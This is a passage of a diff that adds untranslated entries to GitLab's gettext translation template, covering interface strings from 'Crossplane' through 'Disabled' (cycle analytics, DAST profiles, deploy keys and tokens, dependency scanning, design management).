+msgstr ""
+
+msgid "Crossplane"
+msgstr ""
+
+msgid "Current Branch"
+msgstr ""
+
+msgid "Current Plan"
+msgstr ""
+
+msgid "Current Project"
+msgstr ""
+
+msgid "Current node"
+msgstr ""
+
+msgid "Current node must be the primary node or you will be locking yourself out"
+msgstr ""
+
+msgid "Current password"
+msgstr ""
+
+msgid "Current vulnerabilities count"
+msgstr ""
+
+msgid "CurrentUser|Buy Pipeline minutes"
+msgstr ""
+
+msgid "CurrentUser|One of your groups is running out"
+msgstr ""
+
+msgid "CurrentUser|Profile"
+msgstr ""
+
+msgid "CurrentUser|Settings"
+msgstr ""
+
+msgid "CurrentUser|Start a Gold trial"
+msgstr ""
+
+msgid "CurrentUser|Upgrade"
+msgstr ""
+
+msgid "Custom Attributes"
+msgstr ""
+
+msgid "Custom CI configuration path"
+msgstr ""
+
+msgid "Custom Git clone URL for HTTP(S)"
+msgstr ""
+
+msgid "Custom hostname (for private commit emails)"
+msgstr ""
+
+msgid "Custom metrics"
+msgstr ""
+
+msgid "Custom notification events"
+msgstr ""
+
+msgid "Custom notification levels are the same as participating levels. With custom notification levels you will also receive notifications for select events. To find out more, check out %{notification_link}."
+msgstr ""
+
+msgid "Custom project templates"
+msgstr ""
+
+msgid "Custom project templates have not been set up for groups that you are a member of. They are enabled from a group’s settings page. Contact your group’s Owner or Maintainer to setup custom project templates."
+msgstr ""
+
+msgid "Custom range"
+msgstr ""
+
+msgid "Custom range (UTC)"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Add a stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Add stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Editing stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Enter a name for the stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Name"
+msgstr ""
+
+msgid "CustomCycleAnalytics|New stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Please select a start event first"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Select start event"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Select stop event"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Stage name already exists"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Start event"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Start event changed, please select a valid stop event"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Start event label"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Stop event"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Stop event label"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Update stage"
+msgstr ""
+
+msgid "Customer Portal"
+msgstr ""
+
+msgid "Customizable by an administrator."
+msgstr ""
+
+msgid "Customize colors"
+msgstr ""
+
+msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
+msgstr ""
+
+msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
+msgstr ""
+
+msgid "Customize icon"
+msgstr ""
+
+msgid "Customize language and region related settings."
+msgstr ""
+
+msgid "Customize name"
+msgstr ""
+
+msgid "Customize your pipeline configuration, view your pipeline status and coverage report."
+msgstr ""
+
+msgid "Customize your pipeline configuration."
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
+msgid "Cycle Time"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue closed"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue created"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue first added to a board"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue first associated with a milestone"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue first associated with a milestone or issue first added to a board"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue first mentioned in a commit"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue label was added"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue label was removed"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue last edited"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request closed"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request created"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request first deployed to production"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request label was added"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request label was removed"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request last build finish time"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request last build start time"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request last edited"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request merged"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Code"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Issue"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Plan"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Review"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Staging"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Test"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Total"
+msgstr ""
+
+msgid "CycleAnalyticsStage|is not available for the selected group"
+msgstr ""
+
+msgid "CycleAnalyticsStage|should be under a group"
+msgstr ""
+
+msgid "CycleAnalytics|%{selectedLabelsCount} selected (%{maxLabels} max)"
+msgstr ""
+
+msgid "CycleAnalytics|%{stageCount} stages selected"
+msgstr ""
+
+msgid "CycleAnalytics|All stages"
+msgstr ""
+
+msgid "CycleAnalytics|Date"
+msgstr ""
+
+msgid "CycleAnalytics|Days to completion"
+msgstr ""
+
+msgid "CycleAnalytics|Display chart filters"
+msgstr ""
+
+msgid "CycleAnalytics|No stages selected"
+msgstr ""
+
+msgid "CycleAnalytics|Number of tasks"
+msgstr ""
+
+msgid "CycleAnalytics|Only %{maxLabels} labels can be selected at this time"
+msgstr ""
+
+msgid "CycleAnalytics|Project selected"
+msgid_plural "CycleAnalytics|%d projects selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "CycleAnalytics|Select labels"
+msgstr ""
+
+msgid "CycleAnalytics|Show"
+msgstr ""
+
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr ""
+
+msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
+msgstr ""
+
+msgid "CycleAnalytics|Showing data for group '%{groupName}' from %{startDate} to %{endDate}"
+msgstr ""
+
+msgid "CycleAnalytics|Stages"
+msgstr ""
+
+msgid "CycleAnalytics|Tasks by type"
+msgstr ""
+
+msgid "CycleAnalytics|The given date range is larger than 180 days"
+msgstr ""
+
+msgid "CycleAnalytics|Total days to completion"
+msgstr ""
+
+msgid "CycleAnalytics|Type of work"
+msgstr ""
+
+msgid "CycleAnalytics|group dropdown filter"
+msgstr ""
+
+msgid "CycleAnalytics|not allowed for the given start event"
+msgstr ""
+
+msgid "CycleAnalytics|project dropdown filter"
+msgstr ""
+
+msgid "CycleAnalytics|stage dropdown"
+msgstr ""
+
+msgid "DAG"
+msgstr ""
+
+msgid "DAG visualization requires at least 3 dependent jobs."
+msgstr ""
+
+msgid "DAST Profiles"
+msgstr ""
+
+msgid "DNS"
+msgstr ""
+
+msgid "Dashboard"
+msgstr ""
+
+msgid "Dashboard uid not found"
+msgstr ""
+
+msgid "DashboardProjects|All"
+msgstr ""
+
+msgid "DashboardProjects|Personal"
+msgstr ""
+
+msgid "DashboardProjects|Trending"
+msgstr ""
+
+msgid "Dashboards"
+msgstr ""
+
+msgid "Dashboard|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "Dashboard|%{firstProject}, %{rest}, and %{secondProject}"
+msgstr ""
+
+msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
+msgstr ""
+
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
+msgid "DastProfiles|Could not create the site profile. Please try again."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not update the site profile. Please try again."
+msgstr ""
+
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
+msgid "DastProfiles|Do you want to discard this site profile?"
+msgstr ""
+
+msgid "DastProfiles|Do you want to discard your changes?"
+msgstr ""
+
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
+msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
+msgstr ""
+
+msgid "DastProfiles|Edit site profile"
+msgstr ""
+
+msgid "DastProfiles|Error Details"
+msgstr ""
+
+msgid "DastProfiles|Manage Profiles"
+msgstr ""
+
+msgid "DastProfiles|Manage profiles"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
+msgstr ""
+
+msgid "DastProfiles|New site profile"
+msgstr ""
+
+msgid "DastProfiles|No profiles created yet"
+msgstr ""
+
+msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
+msgstr ""
+
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
+msgid "DastProfiles|Profile name"
+msgstr ""
+
+msgid "DastProfiles|Save commonly used configurations for target sites and scan specifications as profiles. Use these with an on-demand scan."
+msgstr ""
+
+msgid "DastProfiles|Save profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
+msgid "DastProfiles|Site Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastProfiles|Target URL"
+msgstr ""
+
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
+msgid "Data is still calculating..."
+msgstr ""
+
+msgid "Datasource name not found"
+msgstr ""
+
+msgid "Date"
+msgstr ""
+
+msgid "Date picker"
+msgstr ""
+
+msgid "Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
+msgid "Day of month"
+msgstr ""
+
+msgid "DayTitle|F"
+msgstr ""
+
+msgid "DayTitle|M"
+msgstr ""
+
+msgid "DayTitle|S"
+msgstr ""
+
+msgid "DayTitle|W"
+msgstr ""
+
+msgid "Days"
+msgstr ""
+
+msgid "Days to merge"
+msgstr ""
+
+msgid "Debug"
+msgstr ""
+
+msgid "Dec"
+msgstr ""
+
+msgid "December"
+msgstr ""
+
+msgid "Decline"
+msgstr ""
+
+msgid "Decline and sign out"
+msgstr ""
+
+msgid "Decompressed archive size validation failed."
+msgstr ""
+
+msgid "Default Branch"
+msgstr ""
+
+msgid "Default CI configuration path"
+msgstr ""
+
+msgid "Default artifacts expiration"
+msgstr ""
+
+msgid "Default branch"
+msgstr ""
+
+msgid "Default branch and protected branches"
+msgstr ""
+
+msgid "Default classification label"
+msgstr ""
+
+msgid "Default deletion delay"
+msgstr ""
+
+msgid "Default description template for issues"
+msgstr ""
+
+msgid "Default description template for merge requests"
+msgstr ""
+
+msgid "Default first day of the week"
+msgstr ""
+
+msgid "Default first day of the week in calendars and date pickers."
+msgstr ""
+
+msgid "Default initial branch name"
+msgstr ""
+
+msgid "Default issue template"
+msgstr ""
+
+msgid "Default project deletion protection"
+msgstr ""
+
+msgid "Default projects limit"
+msgstr ""
+
+msgid "Default stages"
+msgstr ""
+
+msgid "Default: Directly import the Google Code email address or username"
+msgstr ""
+
+msgid "Default: Map a FogBugz account ID to a full name"
+msgstr ""
+
+msgid "DefaultBranchLabel|default"
+msgstr ""
+
+msgid "Define a custom deploy freeze pattern with %{cronSyntaxStart}cron syntax%{cronSyntaxEnd}"
+msgstr ""
+
+msgid "Define a custom pattern with cron syntax"
+msgstr ""
+
+msgid "Define custom rules for what constitutes spam, independent of Akismet"
+msgstr ""
+
+msgid "Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Definition"
+msgstr ""
+
+msgid "Delayed Project Deletion (%{adjourned_deletion})"
+msgstr ""
+
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgstr ""
+
+msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
+msgstr ""
+
+msgid "DelayedJobs|Start now"
+msgstr ""
+
+msgid "DelayedJobs|Unschedule"
+msgstr ""
+
+msgid "DelayedJobs|delayed"
+msgstr ""
+
+msgid "Delete"
+msgstr ""
+
+msgid "Delete Comment"
+msgstr ""
+
+msgid "Delete Snippet"
+msgstr ""
+
+msgid "Delete account"
+msgstr ""
+
+msgid "Delete artifacts"
+msgstr ""
+
+msgid "Delete board"
+msgstr ""
+
+msgid "Delete comment"
+msgstr ""
+
+msgid "Delete domain"
+msgstr ""
+
+msgid "Delete label"
+msgstr ""
+
+msgid "Delete label: %{label_name} ?"
+msgstr ""
+
+msgid "Delete license"
+msgstr ""
+
+msgid "Delete list"
+msgstr ""
+
+msgid "Delete pipeline"
+msgstr ""
+
+msgid "Delete project"
+msgstr ""
+
+msgid "Delete project. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Delete serverless domain?"
+msgstr ""
+
+msgid "Delete snippet"
+msgstr ""
+
+msgid "Delete snippet?"
+msgstr ""
+
+msgid "Delete source branch"
+msgstr ""
+
+msgid "Delete this attachment"
+msgstr ""
+
+msgid "Delete user list"
+msgstr ""
+
+msgid "Delete variable"
+msgstr ""
+
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
+msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to remove project snippets. Please try again or contact administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to remove some tags in project container registry. Please try again or contact administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to remove wiki repository. Please try again or contact administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to restore project repository. Please contact the administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to restore wiki repository. Please contact the administrator."
+msgstr ""
+
+msgid "Deleted"
+msgstr ""
+
+msgid "Deleted Projects"
+msgstr ""
+
+msgid "Deleted chat nickname: %{chat_name}!"
+msgstr ""
+
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
+msgstr ""
+
+msgid "Deleting"
+msgstr ""
+
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "Deleting the license failed."
+msgstr ""
+
+msgid "Deleting the license failed. The license was not found."
+msgstr ""
+
+msgid "Deleting the license failed. You are not permitted to perform this action."
+msgstr ""
+
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
+msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
+msgstr ""
+
+msgid "Denied"
+msgstr ""
+
+msgid "Denied authorization of chat nickname %{user_name}."
+msgstr ""
+
+msgid "Deny"
+msgstr ""
+
+msgid "Deny access request"
+msgstr ""
+
+msgid "Dependencies"
+msgstr ""
+
+msgid "Dependencies help page link"
+msgstr ""
+
+msgid "Dependencies|%d additional vulnerability not shown"
+msgid_plural "Dependencies|%d additional vulnerabilities not shown"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Dependencies|%d vulnerability detected"
+msgid_plural "Dependencies|%d vulnerabilities detected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Dependencies|%{remainingLicensesCount} more"
+msgstr ""
+
+msgid "Dependencies|(top level)"
+msgstr ""
+
+msgid "Dependencies|All"
+msgstr ""
+
+msgid "Dependencies|Based on the %{linkStart}latest successful%{linkEnd} scan"
+msgstr ""
+
+msgid "Dependencies|Component"
+msgstr ""
+
+msgid "Dependencies|Component name"
+msgstr ""
+
+msgid "Dependencies|Dependency path"
+msgstr ""
+
+msgid "Dependencies|Export as JSON"
+msgstr ""
+
+msgid "Dependencies|Job failed to generate the dependency list"
+msgstr ""
+
+msgid "Dependencies|License"
+msgstr ""
+
+msgid "Dependencies|Location"
+msgstr ""
+
+msgid "Dependencies|Packager"
+msgstr ""
+
+msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
+msgstr ""
+
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
+msgid "Dependencies|Toggle vulnerability list"
+msgstr ""
+
+msgid "Dependencies|Unsupported file(s) detected"
+msgstr ""
+
+msgid "Dependencies|Vulnerable components"
+msgstr ""
+
+msgid "Dependency List"
+msgstr ""
+
+msgid "Dependency List has no entries"
+msgstr ""
+
+msgid "Dependency Proxy"
+msgstr ""
+
+msgid "Dependency Scanning"
+msgstr ""
+
+msgid "Dependency proxy"
+msgstr ""
+
+msgid "Dependency proxy URL"
+msgstr ""
+
+msgid "Dependency proxy feature is limited to public groups for now."
+msgstr ""
+
+msgid "DependencyProxy|Toggle Dependency Proxy"
+msgstr ""
+
+msgid "Depends on %d merge request being merged"
+msgid_plural "Depends on %d merge requests being merged"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Deploy"
+msgid_plural "Deploys"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Deploy Keys"
+msgstr ""
+
+msgid "Deploy freezes"
+msgstr ""
+
+msgid "Deploy key was successfully updated."
+msgstr ""
+
+msgid "Deploy keys allow read-only or read-write (if enabled) access to your repository"
+msgstr ""
+
+msgid "Deploy keys allow read-only or read-write (if enabled) access to your repository. Deploy keys can be used for CI, staging or production servers. You can create a deploy key or add an existing one."
+msgstr ""
+
+msgid "Deploy keys can be used for CI, staging or production servers. You can create a deploy key or add an existing one."
+msgstr ""
+
+msgid "Deploy progress not found. To see pods, ensure your environment matches %{linkStart}deploy board criteria%{linkEnd}."
+msgstr ""
+
+msgid "Deploy to..."
+msgstr ""
+
+msgid "DeployBoard|Matching on the %{appLabel} label has been removed for deploy boards. To see all instances on your board, you must update your chart and redeploy."
+msgstr ""
+
+msgid "DeployFreeze|Freeze end"
+msgstr ""
+
+msgid "DeployFreeze|Freeze start"
+msgstr ""
+
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgstr ""
+
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgstr ""
+
+msgid "DeployFreeze|Time zone"
+msgstr ""
+
+msgid "DeployFreeze|You can specify deploy freezes using only %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
+msgstr ""
+
+msgid "DeployKeys|+%{count} others"
+msgstr ""
+
+msgid "DeployKeys|Current project"
+msgstr ""
+
+msgid "DeployKeys|Deploy key"
+msgstr ""
+
+msgid "DeployKeys|Enabled deploy keys"
+msgstr ""
+
+msgid "DeployKeys|Error enabling deploy key"
+msgstr ""
+
+msgid "DeployKeys|Error getting deploy keys"
+msgstr ""
+
+msgid "DeployKeys|Error removing deploy key"
+msgstr ""
+
+msgid "DeployKeys|Expand %{count} other projects"
+msgstr ""
+
+msgid "DeployKeys|Loading deploy keys"
+msgstr ""
+
+msgid "DeployKeys|No deploy keys found. Create one with the form above."
+msgstr ""
+
+msgid "DeployKeys|Privately accessible deploy keys"
+msgstr ""
+
+msgid "DeployKeys|Project usage"
+msgstr ""
+
+msgid "DeployKeys|Publicly accessible deploy keys"
+msgstr ""
+
+msgid "DeployKeys|Read access only"
+msgstr ""
+
+msgid "DeployKeys|Write access allowed"
+msgstr ""
+
+msgid "DeployKeys|You are going to remove this deploy key. Are you sure?"
+msgstr ""
+
+msgid "DeployTokens|Active Deploy Tokens (%{active_tokens})"
+msgstr ""
+
+msgid "DeployTokens|Add a deploy token"
+msgstr ""
+
+msgid "DeployTokens|Allows read access to the package registry"
+msgstr ""
+
+msgid "DeployTokens|Allows read-only access to the registry images"
+msgstr ""
+
+msgid "DeployTokens|Allows read-only access to the repository"
+msgstr ""
+
+msgid "DeployTokens|Allows write access to the package registry"
+msgstr ""
+
+msgid "DeployTokens|Allows write access to the registry images"
+msgstr ""
+
+msgid "DeployTokens|Copy deploy token"
+msgstr ""
+
+msgid "DeployTokens|Copy username"
+msgstr ""
+
+msgid "DeployTokens|Create deploy token"
+msgstr ""
+
+msgid "DeployTokens|Created"
+msgstr ""
+
+msgid "DeployTokens|Default format is \"gitlab+deploy-token-{n}\". Enter custom username if you want to change it."
+msgstr ""
+
+msgid "DeployTokens|Deploy Tokens"
+msgstr ""
+
+msgid "DeployTokens|Deploy tokens allow access to packages, your repository, and registry images."
+msgstr ""
+
+msgid "DeployTokens|Expires"
+msgstr ""
+
+msgid "DeployTokens|Group deploy tokens allow access to the packages, repositories, and registry images within the group."
+msgstr ""
+
+msgid "DeployTokens|Name"
+msgstr ""
+
+msgid "DeployTokens|Pick a name for the application, and we'll give you a unique deploy token."
+msgstr ""
+
+msgid "DeployTokens|Revoke"
+msgstr ""
+
+msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
+msgstr ""
+
+msgid "DeployTokens|Revoke %{name}"
+msgstr ""
+
+msgid "DeployTokens|Scopes"
+msgstr ""
+
+msgid "DeployTokens|This %{entity_type} has no active Deploy Tokens."
+msgstr ""
+
+msgid "DeployTokens|This action cannot be undone."
+msgstr ""
+
+msgid "DeployTokens|Use this token as a password. Make sure you save it - you won't be able to access it again."
+msgstr ""
+
+msgid "DeployTokens|Use this username as a login."
+msgstr ""
+
+msgid "DeployTokens|Username"
+msgstr ""
+
+msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
+msgstr ""
+
+msgid "DeployTokens|Your New Deploy Token"
+msgstr ""
+
+msgid "DeployTokens|Your new group deploy token has been created."
+msgstr ""
+
+msgid "DeployTokens|Your new project deploy token has been created."
+msgstr ""
+
+msgid "Deployed"
+msgstr ""
+
+msgid "Deployed to"
+msgstr ""
+
+msgid "Deploying to"
+msgstr ""
+
+msgid "Deploying to AWS is easy with GitLab"
+msgstr ""
+
+msgid "Deployment Frequency"
+msgstr ""
+
+msgid "Deployment|API"
+msgstr ""
+
+msgid "Deployment|This deployment was created using the API"
+msgstr ""
+
+msgid "Deployment|canceled"
+msgstr ""
+
+msgid "Deployment|created"
+msgstr ""
+
+msgid "Deployment|failed"
+msgstr ""
+
+msgid "Deployment|running"
+msgstr ""
+
+msgid "Deployment|success"
+msgstr ""
+
+msgid "Deprioritize label"
+msgstr ""
+
+msgid "Descending"
+msgstr ""
+
+msgid "Describe the goal of the changes and what reviewers should be aware of."
+msgstr ""
+
+msgid "Describe the requirement here"
+msgstr ""
+
+msgid "Description"
+msgstr ""
+
+msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
+msgstr ""
+
+msgid "Description templates allow you to define context-specific templates for issue and merge request description fields for your project."
+msgstr ""
+
+msgid "Description:"
+msgstr ""
+
+msgid "Descriptive label"
+msgstr ""
+
+msgid "Deselect all"
+msgstr ""
+
+msgid "Design Management files and data"
+msgstr ""
+
+msgid "Design repositories"
+msgstr ""
+
+msgid "Design repository"
+msgstr ""
+
+msgid "DesignManagement|%{current_design} of %{designs_count}"
+msgstr ""
+
+msgid "DesignManagement|%{filename} did not change."
+msgstr ""
+
+msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
+msgstr ""
+
+msgid "DesignManagement|Archive designs"
+msgstr ""
+
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgstr ""
+
+msgid "DesignManagement|Cancel changes"
+msgstr ""
+
+msgid "DesignManagement|Cancel comment confirmation"
+msgstr ""
+
+msgid "DesignManagement|Cancel comment update confirmation"
+msgstr ""
+
+msgid "DesignManagement|Click the image where you'd like to start a new discussion"
+msgstr ""
+
+msgid "DesignManagement|Comment"
+msgstr ""
+
+msgid "DesignManagement|Comments you resolve can be viewed and unresolved by going to the \"Resolved Comments\" section below"
+msgstr ""
+
+msgid "DesignManagement|Could not add a new comment. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Could not create new discussion. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Could not update discussion. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Could not update note. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Deselect all"
+msgstr ""
+
+msgid "DesignManagement|Designs"
+msgstr ""
+
+msgid "DesignManagement|Discard comment"
+msgstr ""
+
+msgid "DesignManagement|Error uploading a new design. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Go back to designs"
+msgstr ""
+
+msgid "DesignManagement|Go to next design"
+msgstr ""
+
+msgid "DesignManagement|Go to previous design"
+msgstr ""
+
+msgid "DesignManagement|Keep changes"
+msgstr ""
+
+msgid "DesignManagement|Keep comment"
+msgstr ""
+
+msgid "DesignManagement|Learn more about resolving comments"
+msgstr ""
+
+msgid "DesignManagement|Requested design version does not exist. Showing latest version instead"
+msgstr ""
+
+msgid "DesignManagement|Resolve thread"
+msgstr ""
+
+msgid "DesignManagement|Resolved Comments"
+msgstr ""
+
+msgid "DesignManagement|Save comment"
+msgstr ""
+
+msgid "DesignManagement|Select all"
+msgstr ""
+
+msgid "DesignManagement|The maximum number of designs allowed to be uploaded is %{upload_limit}. Please try again."
+msgstr ""
+
+msgid "DesignManagement|To upload designs, you'll need to enable LFS. %{requirements_link_start}More information%{requirements_link_end}"
+msgstr ""
+
+msgid "DesignManagement|Unresolve thread"
+msgstr ""
+
+msgid "DesignManagement|Upload designs"
+msgstr ""
+
+msgid "DesignManagement|Upload skipped."
+msgstr ""
+
+msgid "DesignManagement|and %{moreCount} more."
+msgstr ""
+
+msgid "Designs"
+msgstr ""
+
+msgid "Destroy"
+msgstr ""
+
+msgid "Detail"
+msgstr ""
+
+msgid "Details"
+msgstr ""
+
+msgid "Details (default)"
+msgstr ""
+
+msgid "Detect host keys"
+msgstr ""
+
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
+msgstr ""
+
+msgid "Diff content limits"
+msgstr ""
+
+msgid "Diff limits"
+msgstr ""
+
+msgid "Diff view settings"
+msgstr ""
+
+msgid "Difference between start date and now"
+msgstr ""
+
+msgid "DiffsCompareBaseBranch|(HEAD)"
+msgstr ""
+
+msgid "DiffsCompareBaseBranch|(base)"
+msgstr ""
+
+msgid "Diffs|No file name available"
+msgstr ""
+
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
+msgstr ""
+
+msgid "Diffs|Something went wrong while fetching diff lines."
+msgstr ""
+
+msgid "Direction"
+msgstr ""
+
+msgid "Directory name"
+msgstr ""
+
+msgid "Disable"
+msgstr ""
+
+msgid "Disable for this project"
+msgstr ""
+
+msgid "Disable group Runners"
+msgstr ""
+
+msgid "Disable public access to Pages sites"
+msgstr ""
+
+msgid "Disable shared Runners"
+msgstr ""
+
+msgid "Disable two-factor authentication"
+msgstr ""
+
+msgid "Disabled"
+msgstr ""
+
